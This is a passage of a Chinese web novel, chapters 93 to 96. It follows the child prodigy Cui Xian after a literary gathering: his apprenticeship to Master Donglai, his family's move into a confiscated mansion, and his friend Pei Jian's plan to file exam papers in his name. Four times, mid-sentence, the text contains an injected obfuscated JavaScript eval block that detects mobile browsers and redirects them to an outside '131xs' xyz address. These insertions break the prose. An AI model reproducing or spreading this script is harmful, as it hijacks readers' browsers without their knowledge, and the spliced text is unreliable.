大量读书人,在离开文会后,手舞足蹈的兴奋谈论文会上精彩纷呈的一幕幕。 《听蝉联句诗》、东莱先生收徒崔岘、《咏新竹》、以及崔岘小公子五年后开封府开台辩经的消息,不出所料,如风一般,传遍大梁两京十三省。 整个士林为之侧目震动! 士林文坛领袖之**人,崔岘,向这天下群雄,下了战书! ? 93、五年之约 文会结束后。 最先轰动起来的自然是南阳县城。 一大群身穿儒衫的读书人走出王府仍旧满脸激动震撼。 他们仿佛起了一些‘戒断反应’。 哪怕已经离席但脑子里小神童神采飞扬之风姿却怎么都挥散不去。 就如‘追星’那般。 只要你参加了这场南阳王府的文会那你绝对会被小神童的魅力 巧了。 今日王府外面大量南阳百姓们也在关心小神童的情况呢。 那黄伦有没有刁难小神童啊? 方才大量华贵的马车纷纷赶去王府可是发生了什么要紧事? 哎哟该不会小神童在文会上吃亏了吧! 百姓们情真意切询问崔岘的情况。 读书人们看的怔怔无言。 此前或许他们还不懂为何崔岘会受百姓这般喜爱、尊敬。 但现在完全懂了。 有些人天生就该站在最耀眼的高台之上受无数人追捧喝彩的啊! 因此在南阳百姓们瞠目结舌的注视中。 一群身穿儒衫、向来以沉稳、斯文示人的读书人们一个个兴奋不已、舞之蹈之、滔滔不绝的讲述今日文会上、堪称传奇的一幕幕。 这个读书人激动道:“黄伦?那是什么玩意儿!他怎配刁难小神童!他的名字甚至不配和小神童出现在一起!” 周围百姓瞪直了眼:啊? 那个读书人急急又道:“说得好!莫要提黄伦不重要!今日文会上小神童和东莱先生、布政使大人、知府大人一起做《听蝉联句诗》引得满堂喝彩!” “这首诗一定会成为联句诗当中的经典!” 周围百姓瞠目结舌:啊! 又一读书人涨红着脸道:“不不这不是重点!重点是大梁文坛第一名儒东莱先生当场收小神童为徒!” 又又一读书人用更大的声音道:“那可是东莱先生啊!天下文人的领袖!他宣布收徒以后全大梁名门贵胄都送来贺礼!” “包括当朝阁老、李氏、王氏祁王殿下甚至太子殿下都派遣使从前来送上祝福!” 天呐。 百姓们听得齐齐呆滞住。 但这竟然还不算完! 读书人们此刻分享欲爆棚激动的不行:“当着百家名门的面小神童作诗《咏新竹》送给恩师东莱先生!” “红衣俊俏少年郎当场笔走龙蛇、泼墨作诗!南阳王亲自为他研墨!全场为他惊艳喝彩!” “最后小神童还当众接受太原王氏的挑战!自称五年后会去开封开台广邀天下群雄英才前来辩经!” 哗! 这一桩桩、一件件震撼人心的事情听得百姓们眼睛越睁越大嘴巴越张越大! 似乎脑海中已经浮现出小神童飒爽张扬的少年蓬勃英姿。 太震撼惊艳了! 百姓们听的神往不已只恨自己没有亲自去文会见证这精彩的一幕幕。 读书人们讲完了收获一波惊叹。 仍旧不满足。 他们离开后换一波人继续讲述然后不出意外再次收获又一波惊叹! 这种感觉太美妙了。 就好像自己短暂化身为小神童崔岘猛猛大放异彩、技惊四座! 简直爽的头皮发麻! 百姓们、读书人们神情振奋。 无人注意到站在兴奋人群当中的老崔氏、林氏、陈氏三个女人神情呆滞到久久无言。 良久后。 陈氏艰难道:“娘她们说的是岘哥儿吧?” 老崔氏哆嗦着道:“是……是吧。” 娘嘞。 岘哥儿你还有什么惊喜是祖母不知道的啊! 这惊喜实在太大太生猛祖母这小心脏可真要遭不住咯! 另一边。 通过读书人们、以及南阳百姓之口王府文会上崔岘震撼惊艳的表现如风一般扩散出去。 百姓们不懂只顾着为小神童喝彩。 但等这些细节传遍大梁士林以后立刻引发了堪称山呼海啸般的大轰动! 一位大儒看完《听蝉联句诗》震撼高呼:“此诗必将成为联句诗之经典!” 太原。 王家小公子听完使从讲述文会上的见闻表情尽是欣赏、与 棋逢对手的战意。 他笑道:“崔岘么,五年后,我自会去寻你! 浙江。 季甫先生看完《咏新竹之南阳王府送恩师东莱先生》后,破防了。 他指着自己的徒弟,大声道:“明年再有新生者,十丈龙孙绕凤池!你瞧瞧人家这徒弟写的诗!东莱那个老东西,往后几十年,肯定都要不停在老夫面前炫耀! “我不管,我命令你马上给我也写一首质量差不多的诗,立刻给我写! 他的徒弟满脸疲惫:“…… 要不你还是把我逐出师门吧。 京城。 太子殿下看完使从带回来的,关于南阳文会的资料,笑道:“可惜。 可惜什么呢,自然是可惜,这个崔岘年纪还小。 若是再年长几岁,现在就能拉拢培养了。 不过最后。 太子殿下思索片刻,还是说道:“密切关注着吧,以后若是有机会,去送个人情。灶台先烧起来,以后才能热络。 不仅仅太子殿下。 各方收到消息的名门贵胄,都在考虑,该如何跟东莱先生这位关门弟子,保持好关系。 当然以上这些,都是次要的。 最主要的是,文坛领袖的**人,正式向文坛下达了战书,要效仿自己的老师,舌战群儒。 这怎能不让大梁文坛震动? “好!当年我输给东莱,如今老夫花甲之年,要去挑战他的徒弟! “老师,您放心!五年之后,我必定去开封挑战崔岘,借此一战扬名! “文坛领袖的弟子,可未必就一定能成为新的文坛领袖。 “我承认,崔岘乃天生诗才!但辩经一事,可跟写诗不一样。 “他马上九岁,五年后,也就将将14。14岁便着急开台辩经,当真好胆! “且看老夫五年后,去开封同他辩上一场。 “他只不过是有一个好老师而已,有什么猖狂得意的?五年后,我要去看看他究竟有几分真本事! 正所谓:文无第一,武无第二。 天下读书人众多,谁肯服一个八岁稚童? 哪怕小有才名又如何。 既然敢请战士林文坛,那就要做好认输的准备! 一时间,文坛风起云涌。 老儒、新秀纷纷被激起战意, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088384|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无数道目光,瞄准了崔岘。 瞄准了五年后的开封。 届时,一场新任文坛领袖之纷争,将隆重开启! 但,那终究是五年后的事情。 且不管未来如何风起云涌,且不管整个士林文坛,因此事闹出多么大的轰动。 当日文会结束后。 崔岘收起浑身肆意张扬,和老师一起,低调离开。 师徒二人走在熙攘热闹的街道上,耳边隐约能听到,不停有人在赞叹‘小神童’。 东莱先生笑呵呵问道:“一朝成名天下知的感觉,如何? 崔岘酒劲儿已过,恢复了往日的沉稳。 他轻笑道:“坦白说,方才在文会上,确实觉得很是风光得意。但文会散场,百家使从离去,一切又归于平淡。 “学生才意识到,其实这些,都是虚的。 哦? 东莱先生很是惊异于这个回答,但也松了口气:“为师还以为,你会沉浸在风光权欲当中,需要一段时间,才能逐渐缓过来呢。 八岁的孩子,成为这样一场如梦似幻的盛事主角,被天下各方瞩目。 其实就算骄傲自得一些,也可以理解。 但东莱先生不曾想,自家小徒弟,能这般清醒自持。 崔岘笑道:“学生今日之风光,全凭老师、凭师叔、师祖等人在撑着。但归根结底,学生自己不立起来,今日之风光,以后怕是再也不会有了。 “五年之约既已定下,学生自当沉下心来,跟随老师潜心学习。 “今日,学生跟着老师好生风光一把。五年后,学生也希望,能让老师为有学生这样一个弟子,而在士林文坛风光得意。 夕阳下。 说出这番清醒豪言的小少年,并不如文会上表现的那般张扬。 但脊梁笔挺,眼含自信,整个人沐浴在夕阳的余韵当中,耀眼到让人挪不开视线。 这样内敛、清醒、身负才气、又如玉如琢的优秀少年郎,将来又怎么可能闯不出一番功绩呢? 未来之大梁文坛,必有你小子一 席之地! 不,未来大梁之文坛,都将仰你之鼻息! 东莱先生怔怔看着自己的小徒弟,没有把心里这番话说出来。 而是朗声笑道:“好!走吧,回家。从明日起,来为师家里上课。” “好的老师。” 师徒二人并排前行,夕阳余辉落在他们身上,在地面投射出两道长长的影子。 当晚。 在南阳王府仆从的帮忙下,足足七辆马车,载着诸多厚礼,同崔伯山、崔仲渊一起,返回崔家。 开门的是老崔氏,她看起来表情平静,并未有任何激动。 崔伯山纳闷道:“娘?你看到这足足七大车厚礼,怎地一点都不吃惊。我跟二弟回来的路上还在猜测,说你看到这么多好东西,怕是又要激动到晕过去呢!” 这次晕倒是没晕。 毕竟老崔氏已经提前收到消息了。 可看到这足足七大车的厚礼,老崔氏还是很没出息的、激动到眼前发飘。 她浑身发软,靠在门边,一双眼睛直愣愣盯着那七辆大马车,讷讷道:“哎哟,伯山、老大媳妇,快来扶一把娘。娘两只腿不听使唤,要摔倒了!” 她不中嘞! ? 94、崔氏大宅(上) 七大车的礼,摆满了崔家院子。 半点不夸张,真的摆满了,连个下脚的地方都没有! 甚至连堂屋里、厨房里、鸡棚上,都堆放着各种礼盒。 这个一打开,娘嘞,黄铜雁足灯。 那个一打开,娘嘞,羊脂玉带钩! 再打开一个,得喊两声‘娘嘞’,因为那是一对金银胡瓶! 全都是好东西啊。 随便挑出来一两件,都能作为普通人家的传家宝了。 因此,崔家院子里,‘娘嘞’的惊呼声就没断过。 也是让他们跟着岘哥儿,见识到真正的好东西咯! 陈氏抱着小闺女,看着满院子的礼盒,没来由感慨道:“咱家这院子,还是太小了呢。 全家人闻言都看向她笑。 哎哟! 这才刚搬家多久,就嫌院子小啦。 而嫌院子太小的原因,竟然是因为礼物太多,家里摆不下。 这是不是有点太嘚瑟啦! 陈氏说完,自己也笑了。 崔岘坐在娘身边逗弄妹妹,闻言轻声笑道:“等下个月吧,下个月,赵志案就能结了。 “齐师兄跟我说,下个月结案后,会把赵宅拨给咱家。 谁? 老崔氏闻言怔愣道:“齐师兄是谁?他说话管用不? 崔岘眨眨眼:“钦差齐大人,我老师的师侄,他都发话了,应该……管用吧。 听闻这话,全家人又开始惊呼:娘嘞! 老崔氏捂住胸口,表情晕晕乎乎:“哎呦我现在,真是感觉自己每天跟做梦似的快活! “岘哥儿,那按照你这么说,咱家很快便能住上大宅院啦? 崔岘笑眯眯强调道:“是崔府,崔氏大宅。 老崔氏‘噗嗤’笑出声,感觉脸要笑僵了。 其余崔家人,在听到‘崔府’二字,也是止不住的傻乐,眼睛里满是期待与憧憬。 从河西村清贫崔家,到南阳崔府,这其中之差距,可谓天壤之别。 但,岘哥儿愣是凭借一己之力,带着大家走出来了! 回望来时路……呃,好像挺轻松的。 一不小心,就跟着躺赢被带飞咯! 看着一家人喜滋滋的场面,崔岘也眉眼含笑,神情格外惬意。 相比于文会上,被众人欢呼捧场的风光得意。 全家人一起把小日子越过越好,反而更踏实、更让他觉得舒心呢。 天色逐渐暗了下来。 见老崔氏仍旧在整理那些礼盒,林氏笑着道:“娘,要不明天再收拾吧。反正都是那些东西,跑不掉的。 结果。 却见老崔氏摇了摇头,认真道:“东西确实都是这些东西,但谁家送了什么,都要记清楚,以后有机会,都是要还的。 “岘哥儿出息了,咱家才能收这么多礼。但这并不代表,是咱家出息了。 “那些金贵之家,随便送份礼来,咱们就开心的不行。说明不是咱家出息了,是人家那些豪门大族有出息。 “岘哥儿还小,这些人情,我都得替他记着。以后他年岁渐长,这种往来人情只会更多,岘哥儿越走越高,我这当祖母的,可不能拖他的后腿啊。 这番话说完,整个院子都安静了。 全家人都怔怔看向老崔氏。 或许她自己都没意识到,她说出这番话的时候,整个人看起来精神抖擞,苍老的眼睛里,带着光。 跟之前在河西村整日狰狞歇斯底里的她,完全不一样了。 见一家人都看着自己不说话,老崔氏有些纳闷:“都怎地了这是? 崔岘笑道:“我们都觉得,祖母方才那番话,很有道理哩。 老崔氏有些赧然。 但想了想,她还是鼓足勇气道:“岘哥儿,祖母最近在学习识字、算账。虽然学得不好,但也在认真学着。 “等咱搬到大宅子里后,要修缮房屋、要请仆从,要跟各家往来。还要为你们以后科举仕途、娶妻生子攒银钱,花销大着嘞。 “咱家的泥宝斋,祖母已经熟悉了。到时候,你教祖母做别的生意,祖母多多赚银子。让咱们崔家,也变得跟你似的,有出息。 “好不好啊? 有句话怎么说来着?认真搞事业的人,最是好看。 总之,现在的老崔氏,整个人格外有干劲儿! 崔岘笑道:“好啊!但是祖母 ,想要把生意做好,带着咱家出息,不好好开蒙识字,可不行哟。 老崔氏脸色一僵。 当晚。 她的卧房里照旧一直点燃着油灯,隐约还能听见老太太的小声啜泣:“太难了,怎么会这么难啊! “锥子呢,老大,你的锥子呢。扎娘一下! “啊——!我不能给岘哥儿拖后腿,我得咬牙学!我这个年纪觉少,最适合学习了! “啊——!我要带着崔家一起出息,成为名门望族崔氏! 次日。 崔岘起床的时候,隐约还能听见祖母的读书声。 他心中咂舌。 这是学了一整晚?老人家可真够拼的啊! 用过早饭,崔岘和崔钰一起,前往裴氏族学。 只不过这一次,他不是去上学的,是来办理‘退学手续’的。 到了伏牛巷口。 裴坚、庄瑾、高奇、李鹤聿四人,照旧在等待着他们。 只是今日,几位大哥都有些沉默。 唯独裴坚,走一步,便龇牙咧嘴倒抽两口冷气。 崔岘关切道:“大哥,你这是怎地了? 裴坚虚弱一笑:“被我祖父给揍的。 众人无言。 大家一起往族学走,气氛仍旧有些低沉。 后来还是庄瑾没忍住,问道:“岘弟,你以后就不来族学啦?要跟着你老师上课? 其余几位少爷闻言,都看过来。 崔岘点点头:“对,老师让我今天就过去跟着他学习。不过几位大哥放心,我会经常来找你们玩儿的。 “我走了,你们可不能荒废学业。到时候,我把老师教我的学习心得,传授给你们。 唉,好吧! 年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088385|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻小男孩的心思就是比较简单。 他们会把友谊看的很重,关系好的话,就想一直待在一起。 一起上学,一起玩闹。 因此几位少爷都有些怏怏不乐。 根本没有去深思,方才崔岘说的那番话,蕴藏着一份多么、多么厚重的‘厚礼’。 等到了族学。 不出意外,学子们瞧见崔岘, 又是好一阵激动崇拜。显然,他们听说了崔岘昨日在文会上的风采。 当得知崔岘是来办理退学的,大家都很是不舍。 让崔岘再三保证,经常来族学探望,这才肯放他离开。 是以,一个简单的‘退学手续’,耽误了许久时间。 吴清澜摆摆手,冲崔岘笑道:“去吧。” 崔岘抱着书箱,弯腰对吴清澜回礼,而后在裴氏族学众师生的注视下,转身离开。 一整天,族学里气氛都闷闷的。 裴坚四人,更是无精打采。 放学回去的路上。 高奇突然暴躁的一脚踢开路上的石子,嘟囔道:“我脑子很乱,想了一整天了。脑子里总有个模糊的想法,我感觉,咱们距离岘弟,越来越远了。” “我不是指不在一处课堂上课,你们明白吧,兄弟们?” “嗯,我的意思是说……” 说到这里,高奇一时间又不想说了。 因为真相何其残忍。 昨日那场文会,他们都在场,也见证了岘弟神采飞扬的一幕。 以后,岘弟会走出南阳,去开封、去京城,在大梁文坛、官场,熠熠发光、耀眼夺目。 然而他们四个呢? 只会被远远甩在身后,连岘弟的背影都看不到。 其实高奇想说,如果可以,要不咱哥几个努努力,咬牙也拼一拼。 就算赶不上岘弟的步伐,但好歹跟着他走,去见识一番外面的精**。 这话往常也轮不到高奇说,裴坚肯定会先说的。 但小裴少爷不知拧巴在哪里了,竟一句不吭声,没等高奇说完,自己扭头直接走了。 高奇有点恼了:“他这什么态度!” 庄瑾安抚道:“好啦好啦,我感觉裴坚肯定比咱们仨更难受。” 高奇跟李鹤聿互相对视,没有反驳,算是默认了这话。 另一边。 裴坚默默走在回家的路上,故作轻松的哼着小曲儿,似乎心情还算不错。 回到裴府。 裴老爷子虽然把小孙子毒打了一番,但终究是疼他的。 见小孙子回来,板着脸道:“老夫跟布政使大人请辞一年,在家亲自教你。以后你白日去族学,晚上回来跟着老夫学习。” “明年三月,你下场参加童生试。” 裴坚‘哦’了一声。 心里想的却是,就我这样的废物,去参加童生试也是浪费银子和笔墨,还不如让岘弟那样的天才去呢。 等等? 这个念头一出,裴坚整个人都一激灵。 他突然有了个大胆的想法! ? 95、崔氏大宅(下) 裴府,书房。 因为心里有了想法,裴坚表现的愈发乖巧,佯装好奇问道:“祖父,童生试的报考流程是什么啊?” 裴崇青闻言很是欣慰,心想,这孩子上道了! 甚好、甚好啊。 在心中默默夸赞一番,裴老爷子笑道:“我大梁对科考一事,非常重视。因此哪怕是童生试,也十分严格。” “要在考试前一两个月,找到五名参加考试的考生,互相签署联结保单,然后还得寻一位本县在籍廪生,出具担保书。” “这些人,祖父都帮你联系好了。” “最后,考生要写一份身家清白文书,并户籍资料,和以上两张保单一起,呈交县衙礼房。” “等考试当天,县衙还会现场对每一位考生,现场再次核查资料,搜身,而后才能进入考场。” “这一套流程审查非常严格,杜绝了一切**、冒籍、**等舞弊的可能。” “根据《大梁律》,凡出现舞弊事件,按情节轻重,分别会被枷号示众、斥革功名、杖责流放、严重者甚至有可能会被斩首!” 说到这里。 裴崇青表情严肃很多:“所以,坚哥儿你要记住。你要老老实实科考,莫要起一点歪心思,否则,便是连累家族的重罪!” 裴坚眨眨眼,保证道:“你放心吧祖父,我知轻重,我肯定不会**的。” 因为**的前提是,他得去参加科举考试啊。 “孺子可教也。” 裴崇青满意点头,又说道:“好了,开始吧,祖父教你如何作八股文。” 另一边。 崔岘离开裴氏族学,带着自己的书箱,去了老师家。 以后,这里便是他的‘学堂’了。 东莱先生的仆从将门打开,笑着接过崔岘抱着的书箱:“小公子,快进来吧。” 崔岘拱手致谢:“多谢罗爷爷。” 仆从老罗笑的满脸褶子,放下书箱,又慌忙给小公子准备茶水、糕点。 东莱先生在旁边只觉得没眼看。 啧,瞧你那个不值钱的样子哟! 片刻后。 崔岘从怀里掏出一小壶桂花酿:“老师,学生孝敬您的。” 东莱先生喜滋滋接过来,同样笑的满脸褶子:“哎哟,又给为师买好酒啦。 仆从看着这一幕,无言的抽了抽嘴角。 但喝酒是次要的。 学业为重。 因此东莱先生没有喝酒,他看向崔岘,认真道:“你来为师这里学习,只有一条规矩,你且听好了。 “那就是五年之内,前往开封之前这段时间,你不可以再作任何诗词,只能跟着为师,在这小院里潜心读书学习。 崔岘一怔,隐约明白了老师的意思。 见他一点就透,东莱先生很是欣慰:“先前为师高调给你举办收徒宴,是因为此事根本无法低调。做了我的弟子,你势必会成为焦点。像是黄伦那般想要来挑战你的人,更是会源源不断。 “你不能把时间浪费在这上面。 “名门百家恭贺,五年辩经之约,看似非常高调。实则也是对你的一种保护,反而让你能顺势低调下来。 “因为咱们定好了五年的期限,所以这五年,不会有人来烦你、挑衅你,试图踩着你扬名。 “从今日起,就让小神童崔岘的浑身光芒,暂且熄灭。你要沉淀下来,潜心汲取学识,磨砺心性,以待将来。届时才能有底气,有实力,去舌战群儒。 “所以这个小院子,会护住你五年,也会困住你五年。 说到这里,东莱先生朝里屋扬了扬下巴,笑道:“而护住你、或者说困住你的东西,都在里面。 崔岘走上前,将门推开。 门后面,是一片‘书海’。 堂屋、卧房、书架上、床上、柜子里,凡是目光所能看到的地方,全都是书。 秋日暖洋洋的光线,透过窗户,洒下满室碎金。 一些书页被吹得哗啦啦作响。 想要辩经文,前提是,你得博览群书、去书山文海里走一遭。 不然又如何能出口成章、引经据典? 当日崔岘在裴氏族学,引‘邺侯插架,刘向校书’拜师。 而今日。 他的老师东莱,广搜天下藏书,回馈自己的关门弟子。 崔岘怔怔看着满室藏书,很是震撼,也很是感动。 茫茫书海,每一本,都是老师的拳 拳心意啊! 见他没说话,东莱先生笑呵呵道:“怎么,舍不得自己一身光环?想想看,若是你五年不露面,无任何诗词作品问世,神童之名一定会遭受质疑。伤仲永之说,必然会甚嚣尘上。” “大梁文坛人才济济,会有新的神童崛起,会有年轻的天才争相耀眼夺目,而后忘却你崔岘的存在。” 听到这话,崔岘笑了。 他转过身,对着东莱先生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088386|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 躬身致谢,然后径直走进那片‘书海’。 随意选一本书翻开,在窗边坐下,小少年略带笑意的声音,从屋子里传出来。 “我给他们五年,且让他们尽情耀眼发光去。” 说完。 他低下头,坐在‘书海’当中,认真开始看书。 东莱先生笑呵呵瞧了片刻,不再打扰弟子,去小院中坐下,悠哉品尝桂花酿。 屋子里。 崔岘近乎贪婪的汲取着知识,忘却了时间。 偶尔看到精彩篇章,他或激动大笑,或振奋赞叹,取来笔墨抄写。 仆从老罗负责给小公子送饭、提醒时间。 有时,崔岘感觉自己才刚坐下不久,可一眨眼,天就黑了。 他潦草用过饭,点灯继续。 仆从老罗看的十分佩服,连东莱先生都侧目又惊叹。 这份沉稳定力,实在令人心折。 时间在少年的指尖,随着书页哗啦啦翻过,一月时间悄然而过。 金秋十月。 赵志案正式结束,赵志被缉拿去京城,择日问斩。 而赵家则是被抄家,全家流放岭南。 离开南阳前,钦差齐大人,把原赵宅的钥匙、房契,送到了崔家。 三日后。 在一众仲景巷邻居们不舍的目送下,崔家,再次风光搬家了。 正所谓:时来天地皆同力。 当年他们深陷穷困,苦苦无法翻身。如今一朝起势,便乘风驾云,一飞冲天。 数辆马车,搬了好几趟,才把东西搬过去。 伏牛巷。 位置最好的核心区。 曾经气派的三进大宅‘赵宅’的牌匾,换成了‘崔宅’。 这牌匾,是东莱先生亲笔题的。 在两个儿媳妇的搀扶下。 一身新衣的老崔氏,站在门外,看着这座气派大宅,激动的声音发颤:“二十年前,卖掉家里大宅的时候,我日日都在想。” “卖掉的东西,究竟还能不能赎回来呢?” 她话没有说完。 旁边。 在老崔氏怔忪的注视下。 小孙子岘哥儿,从怀里掏出一对金玉手镯,戴在她的手腕上,笑的十分灿烂:“能赎回来的,都能赎回来的,祖母。” 老崔氏看着那对金玉手镯,眼泪刷的一下就流出来了。 那是她被丢在典当行里,曾经遭人践踏过的尊严啊! ? 96、开始搞事情的裴坚 瞧见老崔氏哭了。 林氏赶忙说道:“娘,大好的日子,可不兴哭。咱们得开开心心的,住进大宅子里呢!” 对,确实得开心呐! 老崔氏擦干净眼泪,拉起岘哥儿的手,往宅子里走。 她边哭边笑道:“其实我刚才想说,我以前只敢想,把大宅子赎回来。” “赎回大宅子,就是我这辈子,能想到的最风光的日子了。” “但现在,咱家新的宅子,比以前更大。站在大门外,我觉得,咱们崔家风光的日子……这才刚刚开始呢。” 豁! 听听这话说的,多有劲儿啊。 一家子人互相对视,都在咂舌。 连崔岘都很是惊诧。 没想到,你是这样有拼劲儿、有野心的老太太! 众人说着话,一起走进新宅子,而后眼睛都直了。 这……也太气派、太宽阔了吧! 虽说经历了一波抄家,赵宅里值钱的东西都被搜刮走了,可大宅子终究搬不走啊。 足足三进的宅子。 里面亭台、假山、连廊、花园,设计的十分雅致。 三进院落,分别用垂花门、抄手游廊相通。 从刚一进门的门房、客房、会客厅、仆从房、庖厨等。 到内院的正房,两侧耳房,西厢房、东厢房。 接着,是最深处的后罩房,天井庭院、仆从屋舍、储物屋舍等,都在这里。 一大家子参观了一圈自家新宅,竟累的有些喘。 这也太大了! 最开始,老崔氏还龇着牙傻乐呢,可看完以后,表情越来越忐忑。 林氏说道:“娘,咱们是不是得请些仆从?这么大的宅子,只是走一遍都累得慌,更别提以后打扫。” 陈氏说道:“要是请仆从的话,是不是还得请个管家?避免仆从欺主。但,肯定要花费很多银子吧。” 崔伯山说道:“娘,后罩房有几间房屋漏了。正房前面的花圃,里面很多花都已经枯萎。西厢房卧房门坏了,门槛也磕碎了一些,估计是他们抄家的时候弄得,得赶紧修缮。” 崔仲渊说道:“咱们搬新家,是不是要宴请裴、高等几户人家,礼尚往来 一番? 老崔氏瞬间头都大了。 儿子儿媳说的话,她自动翻译成俩字:花钱。 没等他们商量出个所以然。 竟然有人来崔宅递帖子了,人家那仆从说的客气:想请崔家两位夫人,去参加赏花宴。 崔家两位夫人? 林氏、陈氏怔愣很久,才茫然回过神来,谁,我们俩吗? 哎哟! 等那小厮走了,林氏有点慌:“娘,我不行,我哪是能赏花的人呐!根本坐不住,有那闲工夫,我宁肯去地里割二亩麦子! 陈氏也跟着点头,神情很是紧张:“万一去了闹出笑话,咋整。 岘哥儿太有实力了,带着一家子猛猛往前窜。 但正如裴坚等几位少爷会觉得有压力,崔家人也会觉得有压力啊。 跟不上节奏,根本跟不上节奏! 眼看一家人都很慌。 老崔氏镇定道:“别怕,有娘在,一切都不用慌。 她表情笃定,很是自信的样子,让全家人都找到了主心骨,狠狠松了口气。 关键时候,还得是娘顶事儿啊! 然而,当就剩自己一个人的时候,老崔氏捂住嘴巴,慌得直哆嗦。 咋整,这可咋整啊! 一大堆的事儿,根本理不出来头绪,她也有点顶不住啊。 当年崔家还富贵的时候,都是婆母在当家,她年轻的时候跟着学了一些,可二十年过去,哪还能记得清楚哟! 算了,硬着头皮上吧,不然还能怎么办? 于是,在老崔氏的指挥下,一家子开始风风火火……呃,磕磕绊绊的住进了大宅。 当天下午。 裴坚乐呵呵来到崔宅,夸赞道:“祖母,您这新宅子,可真漂亮呐。 瞧见他,老崔氏放下手头的活儿,热情把人拉进来:“坚哥儿来了?你今日不上学?来来快坐,祖母给你拿零嘴儿。 各种吃的,糖果、蜜饯儿摆了一桌子。 裴坚也不客气,坐下开吃,一边吃一边笑嘻嘻说道:“祖母,你真好,我在家都吃不饱饭的,我祖父祖母天天**我。 这就纯属瞎说了。 老崔氏嗔怪瞪了他一 眼而后说道:“你来找岘哥儿的是吧他不在去他老师那里学习了。” 裴坚当然知道岘弟不在。 岘弟跟人精似的他哪能忽悠的住? 有些事就得趁岘弟不在才能办。 裴坚从书箱里拿出一份文书笑道:“哎呀祖母 “我祖父让我填写籍贯资料和身家清白文书。我字儿丑写不好。刚好听说了祖母你最近在练字开蒙想让你帮我写嘞。” “有您老帮忙那我还愁什么呢?我什么都不愁了啊!” 小裴少爷要是存心想哄人那一张嘴能把人甜晕咯。 至少老崔氏听到这话笑的脸都快僵了。 但她有自知之明因此想了想把崔仲渊喊来道:“老二你帮帮坚哥儿看这个文书要怎么写。” 崔仲渊乐呵呵来帮忙。 裴坚说道:“崔叔这样你来写一份我跟着再照抄一份。” 崔仲渊有点为难:“坚哥儿你得把具体情况说出来啊要不我怎么帮你写。” 裴坚转了转眼珠道:“我的情况比较复杂这样你就照着岘弟的情况写。给岘弟写一份身家清白文书再把岘弟的籍贯资料写了。” “我跟你说叔这事儿可马虎不得岘弟以后早晚都要参加科举的。你得提前学学怎么写这些东西。” 崔仲渊觉得有些奇怪他参加过科举自然知道流程根本不用学啊。 但老崔氏一听就赶紧附和:“对对老二你赶紧写。” 啊这行吧。 于是崔仲渊便写了一份崔岘的身家清白文书又写了一份崔家三代的户籍等资料。 裴坚眯起眼睛看着他写。 而后装模作样又照着誊抄写了一份自己的文书。 等写完了。 他拿出印泥在自己的文书上按下手印开玩笑道:“叔你也来按个手印。” 这可不是瞎按得。 崔仲渊摇头失笑:“按这干什么呢?” 裴坚眨眨眼用开玩笑的语气半真半假说道:“你按了手印我就能拿着这份文书给你家岘哥儿报考 科举了啊。 崔岘如今八岁,到明年科考的时候,是九岁。 《大梁律》规定,十岁以下为稚童,科举考试需要家中长辈报考。 但,就算在这份文书上,按下手印,也是无效的。 因为还得五个童生互相联保,还得去找本县在籍廪生出具保书,还得呈去县衙礼房核实。 崔仲渊以为裴坚开玩笑呢,摇头直乐。 老崔氏纳罕道:“咿,坚哥儿,你怎地要给岘哥儿报名?岘哥儿才九岁,不着急,还没到时候呢!倒是你,明年下场,可得好好考。 裴坚继续半真半假的开始诉苦:“哎哟,祖母,您这话说的,跟我不想好好考似的。我这人吧,纨绔一个,笨的很,怎么学都学不会。 “我这考科举,铁定是没指望咯!倒是你们家岘哥儿,厉害的很,以后绝对是状元郎。 “你说我要不把自己的保单、资料丢了,把岘哥儿的报上去。这样一来,是不是就算你家岘哥儿替我去考试啦?那将来他中了状元郎,绝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088387|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对得有我半份功劳!以后就算是他再厉害,也还得叫我一声大哥。 “祖母你先说,是不是这个理儿。 老崔氏听得直笑,安慰他:“莫要妄自菲薄,你也很厉害呐。 裴坚眼底浮现出一抹自卑,随后很快便掩饰过去,大惊小怪嚷嚷道:“祖母,您最近学得也太棒啦,都会用成语了! 